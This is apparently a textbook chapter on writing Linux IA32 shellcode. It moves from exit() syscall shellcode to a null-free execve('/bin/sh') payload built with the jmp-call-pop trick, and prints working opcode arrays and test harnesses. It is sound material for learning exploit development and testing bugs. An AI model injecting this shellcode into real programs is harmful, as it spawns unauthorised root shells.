CHAPTER 3

Shellcode

Shellcode is defined as a set of instructions injected and then executed by an exploited program. Shellcode is used to directly manipulate registers and the function of a program, so it is generally written in assembler and translated into hexadecimal opcodes. You cannot typically inject shellcode written from a high-level language, and there are subtle nuances that will prevent shellcode from executing cleanly. This is what makes writing shellcode somewhat difficult, and also somewhat of a black art. This chapter lifts the hood on shellcode and gets you started writing your own.

The term *shellcode* is derived from its original purpose—it was the specific portion of an exploit used to spawn a root shell. This is still the most common type of shellcode used, but many programmers have refined shellcode to do more, which is covered in this chapter. As you saw in Chapter 2, shellcode is placed into an input area, and then the program is tricked into executing the supplied shellcode. If you worked through the examples in the previous chapter, you have already made use of shellcode that can exploit a program.

Understanding shellcode and eventually writing your own is, for many reasons, an essential skill. First and foremost, in order to determine that a vulnerability is indeed exploitable, you must first exploit it. This may seem like common sense, but quite a number of people out there are willing to state whether or not a vulnerability is exploitable without providing solid evidence. Even worse, sometimes a programmer claims a vulnerability is not exploitable when it really is (usually because the original discoverer couldn't figure out

how to exploit it and assumed that because he or she couldn't figure it out, no one else could). Additionally, software vendors will often release a notice of a vulnerability but not provide an exploit. In these cases you may have to write your own shellcode if you want to create an exploit in order to test the bug on your own systems.

Understanding System Calls

We write shellcode because we want the target program to function in a manner other than what was intended by the designer. One way to manipulate the program is to force it to make a *system call* or *syscall*. Syscalls are an extremely powerful set of functions that will allow you to access operating system–specific functions such as getting input, producing output, exiting a process, and executing a binary file. Syscalls allow you to directly access the kernel, which gives you access to lower-level functions like reading and writing files. Syscalls are the interface between protected kernel mode and user mode. Implementing a protected kernel mode, in theory, keeps user applications from interfering with or compromising the OS. When a user mode program attempts to access kernel memory space, an *access exception* is generated, preventing the user mode program from directly accessing kernel memory space. Because some operating-specific services are required in order for programs to function, syscalls were implemented as an interface between regular user mode and kernel mode.

There are two common methods of executing a syscall in Linux. You can use either the C library wrapper, libc, which works indirectly, or execute the syscall directly with assembly by loading the appropriate arguments into registers and then calling a software interrupt. Libc wrappers were created so that programs can continue to function normally if a syscall is changed and to provide some very useful functions (such as our friend malloc). That said, most libc syscalls are very close representations of actual kernel system calls.

System calls in Linux are accomplished via software interrupts and are called with the `int 0x80` instruction. When `int 0x80` is executed by a user mode program, the CPU switches into kernel mode and executes the syscall function. Linux differs from other Unix syscall calling methods in that it features a fastcall convention for system calls, which makes use of registers for higher performance. The process works as follows:

1. The specific syscall number is loaded into `EAX`.
2. Arguments to the syscall function are placed in other registers.
3. The instruction `int 0x80` is executed.
4. The CPU switches to kernel mode.
5. The syscall function is executed.

A specific integer value is associated with each syscall; this value must be placed into EAX. Each syscall can have a maximum of six arguments, which are inserted into EBX, ECX, EDX, ESI, EDI, and EPB, respectively. If more than the stock six arguments are required for the syscall, the arguments are passed via a data structure to the first argument.

Now that you are familiar with how a syscall works from an assembly level, let's follow the steps, make a syscall in C, disassemble the compiled program, and see what the actual assembly instructions are.

The most basic syscall is `exit()`. As expected, it terminates the current process. To create a simple C program that only starts up then exits, use the following code:

```
main()
{
        exit(0);
}
```

Compile this program using the `static` option with gcc—this prevents dynamic linking, which will preserve our exit syscall:

```
gcc –static –o exit exit.c
```

Next, disassemble the binary:

```
[slap@0day root] gdb exit
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas _exit
Dump of assembler code for function _exit:
0x0804d9bc <_exit+0>:   mov    0x4(%esp,1),%ebx
0x0804d9c0 <_exit+4>:   mov    $0xfc,%eax
0x0804d9c5 <_exit+9>:   int    $0x80
0x0804d9c7 <_exit+11>:  mov    $0x1,%eax
0x0804d9cc <_exit+16>:  int    $0x80
0x0804d9ce <_exit+18>:  hlt
0x0804d9cf <_exit+19>:  nop
End of assembler dump.
```

If you look at the disassembly for `exit`, you can see that we have two syscalls. The value of the syscall to be called is stored in EAX in lines `exit+4` and `exit+11`:

```
0x0804d9c0 <_exit+4>:   mov    $0xfc,%eax
0x0804d9c7 <_exit+11>:  mov    $0x1,%eax
```

These correspond to syscall 252, `exit_group()`, and syscall 1, `exit()`. We also have an instruction that loads the argument to our exit syscall into `EBX`. This argument was pushed onto the stack previously, and has a value of zero:

```
0x0804d9bc <_exit+0>:   mov    0x4(%esp,1),%ebx
```

Finally, we have the two `int 0x80` instructions, which switch the CPU over to kernel mode and make our syscalls happen:

```
0x0804d9c5 <_exit+9>:   int    $0x80
0x0804d9cc <_exit+16>:  int    $0x80
```

There you have it, the assembly instructions that correspond to a simple syscall, `exit()`.

Writing Shellcode for the exit() Syscall

Essentially, you now have all the pieces you need to make `exit()` shellcode. We have written the desired syscall in C, compiled and disassembled the binary, and understand what the actual instructions do. The last remaining step is to clean up our shellcode, get hexadecimal opcodes from the assembly, and test our shellcode to make sure it works. Let's look at how we can do a little optimization and cleaning of our shellcode.

SHELLCODE SIZE

You want to keep your shellcode as simple, or as compact, as possible. The smaller the shellcode, the more generically useful it will be. Remember, you will stuff shellcode into input areas. If you encounter a vulnerable input area that is *n* bytes long, you will need to fit all your shellcode into it, plus other instructions to call your shellcode, so the shellcode must be smaller than *n*. For this reason, whenever you write shellcode, you should always be conscious of size.

We presently have seven instructions in our shellcode. We always want our shellcode to be as compact as possible to fit into small input areas, so let's do some trimming and optimization. Because our shellcode will be executed without having some other portion of code set up the arguments for it (in this case, getting the value to be placed in `EBX` from the stack), we will have to manually set this argument. We can easily do this by storing the value of `0` into `EBX`. Additionally, we really need only the `exit()` syscall for the purposes of our shellcode, so we can safely ignore the `group_exit()` instructions and get the same desired effect. For efficiency, we won't be adding `group_exit()` instructions.

From a high level, our shellcode should do the following:

1. Store the value of `0` into `EBX`.
2. Store the value of `1` into `EAX`.
3. Execute `int 0x80` instruction to make the syscall.

Let's write these three steps in assembly. We can then get an `ELF` binary; from this file we can finally extract the opcodes:

```
Section  .text

    global _start

_start:

    mov ebx,0
    mov eax,1
    int 0x80
```

Now we want to use the `nasm` assembler to create our object file, and then use the GNU linker to link object files:

```
[slap@0day root] nasm -f elf exit_shellcode.asm
[slap@0day root] ld -o exit_shellcode exit_shellcode.o
```

Finally, we are ready to get our opcodes. In this example, we will use objdump. The objdump utility is a simple tool that displays the contents of object files in human-readable form. It also prints out the opcode nicely when displaying contents of the object file, which makes it useful in designing shellcode. Run our `exit_shellcode` program through objdump, like this:

```
[slap@0day root] objdump -d exit_shellcode

exit_shellcode:     file format elf32-i386

Disassembly of section .text:

08048080 <.text>:
8048080:       bb 00 00 00 00          mov    $0x0,%ebx
8048085:       b8 01 00 00 00          mov    $0x1,%eax
804808a:       cd 80                   int    $0x80
```

You can see the assembly instructions on the far right. To the left is our opcode. All you need to do is place the opcode into a character array and whip up a little C to execute the string. Here is one way the finished product can look (remember, if you don't want to type this all out, visit the *Shellcoder's Handbook* Web site at `http://www.wiley.com/go/shellcodershandbook`).

```
char shellcode[] = "\xbb\x00\x00\x00\x00"
                   "\xb8\x01\x00\x00\x00"
                   "\xcd\x80";

int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}
```

Now, compile the program and test the shellcode:

```
[slap@0day slap] gcc -o wack wack.c
[slap@0day slap] ./wack
[slap@0day slap]
```

It looks like the program exited normally. But how can we be sure it was actually our shellcode? You can use the system call tracer (`strace`) to print out every system call a particular program makes. Here is `strace` in action:

```
[slap@0day slap] strace ./wack
execve("./wack", ["./wack"], [/* 34 vars */]) = 0 uname({sys="Linux",
node="0day.jackkoziol.com", ...}) = 0
brk(0) = 0x80494d8
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
-1, 0) = 0x40016000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=78416, ...}) = 0
old_mmap(NULL, 78416, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`V\1B4\0"...,
512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1531064, ...}) = 0
old_mmap(0x42000000, 1257224, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x42000000
old_mmap(0x4212e000, 12288, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED, 3, 0x12e000) = 0x4212e000
old_mmap(0x42131000, 7944, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x42131000
close(3) = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0x400169e0,
limit:1048575, seg_32bit:1, contents:0, read_exec_only:0,
limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0x40017000, 78416)               = 0
exit(0)                                 = ?
```

As you can see, the last line is our `exit(0)` syscall. If you'd like, go back and modify the shellcode to execute the `exit_group()` syscall:

```
char shellcode[] = "\xbb\x00\x00\x00\x00"
                   "\xb8\xfc\x00\x00\x00"
                   "\xcd\x80";

int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}
```

This `exit_group()` shellcode will have the same effect. Notice we changed the second opcode on the second line from `\x01` (`1`) to `\xfc` (`252`), which will call `exit_group()` with the same arguments. Recompile the program and run strace again; you will see the new syscall:

```
[slap@0day slap] strace ./wack
execve("./wack", ["./wack"], [/* 34 vars */]) = 0
uname({sys="Linux", node="0day.jackkoziol.com", ...}) = 0
brk(0) = 0x80494d8
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
-1, 0) = 0x40016000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=78416, ...}) = 0
old_mmap(NULL, 78416, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`V\1B4\0"...,
512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1531064, ...}) = 0
old_mmap(0x42000000, 1257224, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x42000000
old_mmap(0x4212e000, 12288, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED, 3, 0x12e000) = 0x4212e000
old_mmap(0x42131000, 7944, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x42131000
close(3)   = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0x400169e0,
limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1,
seg_not_present:0, useable:1}) = 0
munmap(0x40017000, 78416)               = 0
exit_group(0)                           = ?
```

You have now worked through one of the most basic shellcoding examples. You can see that shellcode actually works, but unfortunately, the shellcode you

have created in this section is likely unusable in a real-world exploit. The next section will explore how to fix our shellcode so that it can be injected into an input area.

Injectable Shellcode

The most likely place you will be placing shellcode is into a buffer allocated for user input. Even more likely, this buffer will be a character array. If you go back and look at our shellcode

```
\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80
```

you will notice that there are some nulls `(\x00)` present. These nulls will cause shellcode to fail when injected into a character array because the null character is used to terminate strings. We need to get a little creative and find ways to change our nulls into non-null opcodes. There are two popular methods of doing so. The first is to simply replace assembly instructions that create nulls with other instructions that do not. The second method is a little more complicated—it involves adding nulls at runtime with instructions that do not create nulls. This method is also tricky because we will have to know the exact address in memory where our shellcode lies. Finding the exact location of our shellcode involves using yet another trick, so we will save this second method for the next, more advanced, example.

We'll use the first method of removing nulls. Go back and look at our three assembly instructions and the corresponding opcodes:

```
mov ebx,0          \xbb\x00\x00\x00\x00
mov eax,1          \xb8\x01\x00\x00\x00
int 0x80           \xcd\x80
```

The first two instructions are responsible for creating the nulls. If you remember assembly, the Exclusive OR (xor) instruction will return zero if both operands are equal. This means that if we use the Exclusive OR instruction on two operands that we know are equal, we can get the value of 0 without having to use a value of 0 in an instruction. Consequently we won't have to have a null opcode. Instead of using the mov instruction to set the value of EBX to 0, let's use the Exclusive OR (xor) instruction. So, our first instruction

```
mov ebx,0
```

becomes

```
xor ebx,ebx
```

One of the instructions has hopefully been removed of nulls—we'll test it shortly.

You may be wondering why we have nulls in our second instruction. We didn't put a zero value into the register, so why do we have nulls? Remember, we are using a 32-bit register in this instruction. We are moving only one byte into the register, but the EAX register has room for four. The rest of the register is going to be filled with nulls to compensate.

We can get around this problem if we remember that each 32-bit register is broken up into two 16-bit "areas"; the first-16 bit area can be accessed with the AX register. Additionally, the 16-bit AX register can be broken down further into the AL and AH registers. If you want only the first 8 bits, you can use the AL register. Our binary value of 1 will take up only 8 bits, so we can fit our value into this register and avoid EAX getting filled up with nulls. To do this we change our original instruction

```
mov eax,1
```

to one that uses AL instead of EAX:

```
mov al,1
```

Now we should have taken care of all the nulls. Let's verify that we have by writing our new assembly instructions and seeing if we have any null opcodes:

```
Section      .text

    global _start

_start:

    xor ebx,ebx
    mov al,1
    int 0x80
```

Put it together and disassemble using `objdump`:

```
[slap@0day root] nasm -f elf exit_shellcode.asm
[slap@0day root] ld -o exit_shellcode exit_shellcode.o
[slap@0day root] objdump -d exit_shellcode

exit_shellcode:     file format elf32-i386

Disassembly of section .text:

08048080 <.text>:
8048080:       31 db                   xor    %ebx,%ebx
8048085:       b0 01                   mov    $0x1,%al
804808a:       cd 80                   int    $0x80
```

All our null opcodes have been removed, and we have significantly reduced the size of our shellcode. Now you have fully working, and more importantly, injectable shellcode.

Spawning a Shell

Learning to write simple `exit()` shellcode is in reality just a learning exercise. In practice, you will find little use for standalone `exit()` shellcode. If you want to force a process that has a vulnerable input area to exit, most likely you can simply fill up the input area with illegal instructions. This will cause the program to crash, which has the same effect as injecting `exit()` shellcode. This doesn't mean your hard work was wasted on a futile exercise. You can reuse your exit shellcode in conjunction with other shellcode to do something worthwhile, and then force the process to close cleanly, which can be of value in certain situations.

This section of the chapter will be dedicated to doing something more fun—the typical attacker's trick of spawning a root shell that can be used to compromise your target computer. Just like in the previous section, we will create this shellcode from scratch for a Linux OS running on IA32. We will follow five steps to shellcode success:

1. Write desired shellcode in a high-level language.
2. Compile and disassemble the high-level shellcode program.
3. Analyze how the program works from an assembly level.
4. Clean up the assembly to make it smaller and injectable.
5. Extract opcodes and create shellcode.

The first step is to create a simple C program to spawn our shell. The easiest and fastest method of creating a shell is to create a new process. A process in Linux can be created in one of two ways: We can create it via an existing process and replace the program that is already running, or we can have the existing process make a copy of itself and run the new program in its place. The kernel takes care of doing these things for us—we can let the kernel know what we want to do by issuing `fork()` and `execve()` system calls. Using `fork()` and `execve()` together creates a copy of the existing process, while `execve()` singularly executes another program in place of the existing one.

Let's keep it as simple as possible and use `execve` by itself. What follows is the `execve` call in a simple C program:

```
#include <stdio.h>
int main()
{
```

```
        char *happy[2];
        happy[0] = "/bin/sh";
        happy[1] = NULL;
        execve (happy[0], happy, NULL);
}
```

We should compile and execute this program to make sure we get the desired effect:

```
[slap@0day root]# gcc spawnshell.c -o spawnshell
[slap@0day root]# ./spawnshell
sh-2.05b#
```

As you can see, our shell has been spawned. This isn't very interesting right now, but if this code were injected remotely and then executed, you could see how powerful this little program can be. Now, in order for our C program to be executed when placed into a vulnerable input area, the code must be translated into raw hexadecimal instructions. We can do this quite easily. First, you will need to recompile the shellcode using the `-static` option with gcc; again, this prevents dynamic linking, which preserves our `execve` syscall:

```
gcc  -static -o spawnshell spawnshell.c
```

Now we want to disassemble the program, so that we can get to our opcode. The following output from objdump has been edited to save space—we will show only the relevant portions:

```
080481d0 <main>:
80481d0: 55                      push   %ebp
80481d1: 89 e5                   mov    %esp,%ebp
80481d3: 83 ec 08                sub    $0x8,%esp
80481d6: 83 e4 f0                and    $0xfffffff0,%esp
80481d9: b8 00 00 00 00          mov    $0x0,%eax
80481de: 29 c4                   sub    %eax,%esp
80481e0: c7 45 f8 88 ef 08 08    movl   $0x808ef88,0xfffffff8(%ebp)
80481e7: c7 45 fc 00 00 00 00    movl   $0x0,0xfffffffc(%ebp)
80481ee: 83 ec 04                sub    $0x4,%esp
80481f1: 6a 00                   push   $0x0
80481f3: 8d 45 f8                lea    0xfffffff8(%ebp),%eax
80481f6: 50                      push   %eax
80481f7: ff 75 f8                pushl  0xfffffff8(%ebp)
80481fa: e8 f1 57 00 00          call   804d9f0 <__execve>
80481ff: 83 c4 10                add    $0x10,%esp
8048202: c9                      leave
8048203: c3                      ret

0804d9f0 <__execve>:
804d9f0: 55                      push   %ebp
804d9f1: b8 00 00 00 00          mov    $0x0,%eax
804d9f6: 89 e5                   mov    %esp,%ebp
```

```
804d9f8: 85 c0                  test   %eax,%eax
804d9fa: 57                     push   %edi
804d9fb: 53                     push   %ebx
804d9fc: 8b 7d 08               mov    0x8(%ebp),%edi
804d9ff: 74 05                  je     804da06 <__execve+0x16>
804da01: e8 fa 25 fb f7         call   0 <_init-0x80480b4>
804da06: 8b 4d 0c               mov    0xc(%ebp),%ecx
804da09: 8b 55 10               mov    0x10(%ebp),%edx
804da0c: 53                     push   %ebx
804da0d: 89 fb                  mov    %edi,%ebx
804da0f: b8 0b 00 00 00         mov    $0xb,%eax
804da14: cd 80                  int    $0x80
804da16: 5b                     pop    %ebx
804da17: 3d 00 f0 ff ff         cmp    $0xfffff000,%eax
804da1c: 89 c3                  mov    %eax,%ebx
804da1e: 77 06                  ja     804da26 <__execve+0x36>
804da20: 89 d8                  mov    %ebx,%eax
804da22: 5b                     pop    %ebx
804da23: 5f                     pop    %edi
804da24: c9                     leave
804da25: c3                     ret
804da26: f7 db                  neg    %ebx
804da28: e8 cf ab ff ff         call   80485fc <__errno_location>
804da2d: 89 18                  mov    %ebx,(%eax)
804da2f: bb ff ff ff ff         mov    $0xffffffff,%ebx
804da34: eb ea                  jmp    804da20 <__execve+0x30>
804da36: 90                     nop
804da37: 90                     nop
```

As you can see, the `execve` syscall has quite an intimidating list of instructions to translate into shellcode. Reaching the point where we have removed all the nulls and compacted the shellcode will take a fair amount of time. Let's learn more about the `execve` syscall to determine exactly what is going on here. A good place to start is the man page for `execve`. The first two paragraphs of the man page give us valuable information:

```
int  execve(const char *filename, char *const argv[], char *const envp[]);
```

- `execve()` executes the program pointed to by `filename`. `filename` must be either a binary executable or a script starting with a line of the form "`#! interpreter [arg]`". In the latter case, the interpreter must be a valid pathname for an executable that is not itself a script and that will be invoked as `interpreter [arg]` filename.
- `argv` is an array of argument strings passed to the new program. `envp` is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both `argv` and `envp` must be terminated by a null pointer.

The man page tells us that we can safely assume that `execve` needs three arguments passed to it. From the previous `exit()` syscall example, we already know how to pass arguments to a syscall in Linux (load up to six of them into registers). The man page also tells us that these three arguments must all be pointers. The first argument is a pointer to a string that is the name of binary we want to execute. The second is a pointer to the arguments array, which in our simplified case is the name of the program to be executed (`bin/sh`). The third and final argument is a pointer to the environment array, which we can leave at null because we do not need to pass this data in order to execute the syscall.

NOTE Because we are talking about passing pointers to strings, we need to remember to null terminate all the strings we pass.

For this syscall, we need to place data into four registers; one register will hold the `execve` syscall value (decimal `11` or hex `0x0b`) and the other three will hold our arguments to the syscall. Once we have the arguments correctly placed and in legal format, we can make the actual syscall and switch to kernel mode. Using what you learned from the man page, you should have a better grasp of what is going on in our disassembly.

Starting with the seventh instruction in `main()`, the address of the string `/bin/sh` is copied into memory. Later, an instruction will copy this data into a register to be used as an argument for our `execve` syscall:

```
80481e0:  movl   $0x808ef88,0xfffffff8(%ebp)
```

Next, the null value is copied into an adjacent memory space. Again, this null value will be copied into a register and used in our syscall:

```
80481e7:  movl   $0x0,0xfffffffc(%ebp)
```

Now the arguments are pushed onto the stack so that they will be available after we call `execve`. The first argument to be pushed is null:

```
80481f1:  push   $0x0
```

The next argument to be pushed is the address of our arguments array (`happy[]`). First, the address is placed into `EAX`, and then the address value in `EAX` is pushed onto the stack:

```
80481f3:  lea    0xfffffff8(%ebp),%eax
80481f6:  push   %eax
```

Finally, we push the address of the `/bin/sh` string onto the stack:

```
80481f7:  pushl  0xfffffff8(%ebp)
```

Now the `execve` function is called:

```
80481fa:  call   804d9f0 <execve>
```

The `execve` function's purpose is to set up the registers and then execute the interrupt. For optimization purposes that are not related to functional shellcode, the C function gets translated into assembly in a somewhat convoluted manner, looking at it from a low-level perspective. Let's isolate exactly what is important to us and leave the rest behind.

The first instructions of importance load the address of the `/bin/sh` string into `EBX`:

```
804d9fc:  mov    0x8(%ebp),%edi
804da0d:  mov    %edi,%ebx
```

Next, load the address of our argument array into `ECX`:

```
804da06:  mov    0xc(%ebp),%ecx
```

Then the address of the null is placed into `EDX`:

```
804da09:  mov    0x10(%ebp),%edx
```

The final register to be loaded is `EAX`. The syscall number for execve, `11`, is placed into `EAX`:

```
804da0f:  mov    $0xb,%eax
```

Finally, everything is ready. The int `0x80` instruction is called, switching to kernel mode, and our syscall executes:

```
804da14:  int    $0x80
```

Now that you understand the theory behind an execve syscall from an assembly level, and have disassembled a C program, we are ready to create our shellcode. From the exit shellcode example, we already know that we'll have several problems with this code in the real world.

NOTE Rather than build faulty shellcode and then fix it as we did in the last example, we will simply do it right the first time. If you want additional shellcoding practice, feel free to write up the non-injectable shellcode first.

The nasty null problem has cropped up again. We will have nulls when setting up `EAX` and `EDX`. We will also have nulls terminating our `/bin/sh` string. We can use the same self-modifying tricks we used in our `exit()` shellcode to place nulls into registers by carefully picking instructions that do not create

nulls in corresponding opcode. This is the easy part of writing injectable shellcode—now onto the hard part.

As briefly mentioned before, we cannot use hardcoded addresses with shellcode. Hardcoded addresses reduce the likelihood of the shellcode working on different versions of Linux and in different vulnerable programs. You want your Linux shellcode to be as portable as possible, so you don't have to rewrite it each time you want to use it. In order to get around this problem, we will use relative addressing. Relative addressing can be accomplished in many different ways; in this chapter we will use the most popular and classic method of relative addressing in shellcode.

The trick to creating meaningful relative addressing in shellcode is to place the address of where shellcode starts in memory or an important element of the shellcode into a register. We can then craft all our instructions to reference the known distance from the address stored in the register.

The classic method of performing this trick is to start the shellcode with a jump instruction, which will jump past the meat of the shellcode directly to a call instruction. Jumping directly to a call instruction sets up relative addressing. When the call instruction is executed, the address of the instruction immediately following the call instruction will be pushed onto the stack. The trick is to place whatever you want as the base relative address directly following the call instruction. We now automatically have our base address stored on the stack, without having to know what the address was ahead of time.

We still want to execute the meat of our shellcode, so we will have the call instruction call the instruction immediately following our original jump. This will put the control of execution right back to the beginning of our shellcode. The final modification is to make the first instruction following the jump be a `POP ESI`, which will pop the value of our base address off the stack and put it into `ESI`. Now we can reference different bytes in our shellcode by using the distance, or offset, from `ESI`. Let's take a look at some pseudocode to illustrate how this will look in practice:

```
    jmp short       GotoCall

shellcode:
    pop             esi

    …
    <shellcode meat>
    …

GotoCall:
     Call            shellcode
     Db              '/bin/sh'
```

The DB or *define byte* directive (it's not technically an instruction) allows us to set aside space in memory for a string. The following steps show what happens with this code:

1. The first instruction is to jump to GotoCall, which immediately executes the CALL instruction.
2. The CALL instruction now stores the address of the first byte of our string (/bin/sh) on the stack.
3. The CALL instruction calls shellcode.
4. The first instruction in our shellcode is a POP ESI, which puts the value of the address of our string into ESI.
5. The meat of the shellcode can now be executed using relative addressing.

Now that the addressing problem is solved, let's fill out the meat of shellcode using pseudocode. Then we will replace it with real assembly instructions and get our shellcode. We will leave a number of placeholders (9 bytes) at the end of our string, which will look like this:

```
'/bin/shJAAAAKKKK'
```

The placeholders will be copied over by the data we want to load into two of three syscall argument registers (ECX, EDX). We can easily determine the memory address locations of these values for replacing and copying into registers, because we will have the address of the first byte of the string stored in ESI. Additionally, we can terminate our string with a null efficiently by using this "copy over the placeholder" method. Follow these steps:

1. Fill EAX with nulls by xoring EAX with itself.
2. Terminate our /bin/sh string by copying AL over the last byte of the string. Remember that AL is null because we nulled out EAX in the previous instruction. You must also calculate the offset from the beginning of the string to the J placeholder.
3. Get the address of the beginning of the string, which is stored in ESI, and copy that value into EBX.
4. Copy the value stored in EBX, now the address of the beginning of the string, over the AAAA placeholders. This is the argument pointer to the binary to be executed, which is required by execve. Again, you need to calculate the offset.
5. Copy the nulls still stored in EAX over the KKKK placeholders, using the correct offset.
6. EAX no longer needs to be filled with nulls, so copy the value of our execve syscall (0x0b) into AL.

7. Load EBX with the address of our string.
8. Load the address of the value stored in the AAAA placeholder, which is a pointer to our string, into ECX.
9. Load up EDX with the address of the value in KKKK, a pointer to null.
10. Execute `int 0x80`.

The final assembly code that will be translated into shellcode looks like this:

```
 Section    .text

    global _start

_start:

    jmp short       GotoCall

shellcode:

     pop             esi
     xor             eax, eax
     mov byte        [esi + 7], al
     lea             ebx, [esi]
     mov long        [esi + 8], ebx
     mov long        [esi + 12], eax
     mov byte        al, 0x0b
     mov             ebx, esi
     lea             ecx, [esi + 8]
     lea             edx, [esi + 12]
     int             0x80

GotoCall:

     Call             shellcode
     db              '/bin/shJAAAAKKKK'
```

Compile and disassemble to get opcodes:

```
[root@0day linux]# nasm -f elf execve2.asm
[root@0day linux]# ld -o execve2 execve2.o
[root@0day linux]# objdump -d execve2

execve2:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       eb 1a                   jmp    804809c <GotoCall>
```

```
08048082 <shellcode>:
 8048082:       5e                      pop    %esi
 8048083:       31 c0                   xor    %eax,%eax
 8048085:       88 46 07                mov    %al,0x7(%esi)
 8048088:       8d 1e                   lea    (%esi),%ebx
 804808a:       89 5e 08                mov    %ebx,0x8(%esi)
 804808d:       89 46 0c                mov    %eax,0xc(%esi)
 8048090:       b0 0b                   mov    $0xb,%al
 8048092:       89 f3                   mov    %esi,%ebx
 8048094:       8d 4e 08                lea    0x8(%esi),%ecx
 8048097:       8d 56 0c                lea    0xc(%esi),%edx
 804809a:       cd 80                   int    $0x80

0804809c <GotoCall>:
 804809c:       e8 e1 ff ff ff          call   8048082 <shellcode>
 80480a1:       2f                      das
 80480a2:       62 69 6e                bound  %ebp,0x6e(%ecx)
 80480a5:       2f                      das
 80480a6:       73 68                   jae    8048110 <GotoCall+0x74>
 80480a8:       4a                      dec    %edx
 80480a9:       41                      inc    %ecx
 80480aa:       41                      inc    %ecx
 80480ab:       41                      inc    %ecx
 80480ac:       41                      inc    %ecx
 80480ad:       4b                      dec    %ebx
 80480ae:       4b                      dec    %ebx
 80480af:       4b                      dec    %ebx
 80480b0:       4b                      dec    %ebx
[root@0day linux]#
```

Notice we have no nulls and no hardcoded addresses. The final step is to create the shellcode and plug it into a C program:

```
char shellcode[] =
        "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
        "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
        "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41"
        "\x4b\x4b\x4b\x4b";

int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}
```

Let's test to make sure it works:

```
[root@0day linux]# gcc execve2.c -o execve2
[root@0day linux]# ./execve2
sh-2.05b#
```

Now you have working, injectable shellcode. If you need to pare down the shellcode, you can sometimes remove the placeholder opcodes at the end of shellcode, as follows:

```
char shellcode[] =
        "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
        "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
        "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
```

Throughout the rest of this book, you will find more advanced strategies for shellcode and writing shellcode for other architectures.

Conclusion

You've learned how to create IA32 shellcode for Linux. The concepts in this chapter can be applied to writing your own shellcode for other platforms and operating systems, although the syntax will be different and you may have to work with different registers.

The most important task when creating shellcode is to make it small and executable. When creating shellcode, you need to have code as small as possible so that you can use it in as wide a variety of situations as possible. We have worked through the most common and easiest methods of writing executable shellcode. You will learn many different tricks and variations on these methods throughout the rest of this book.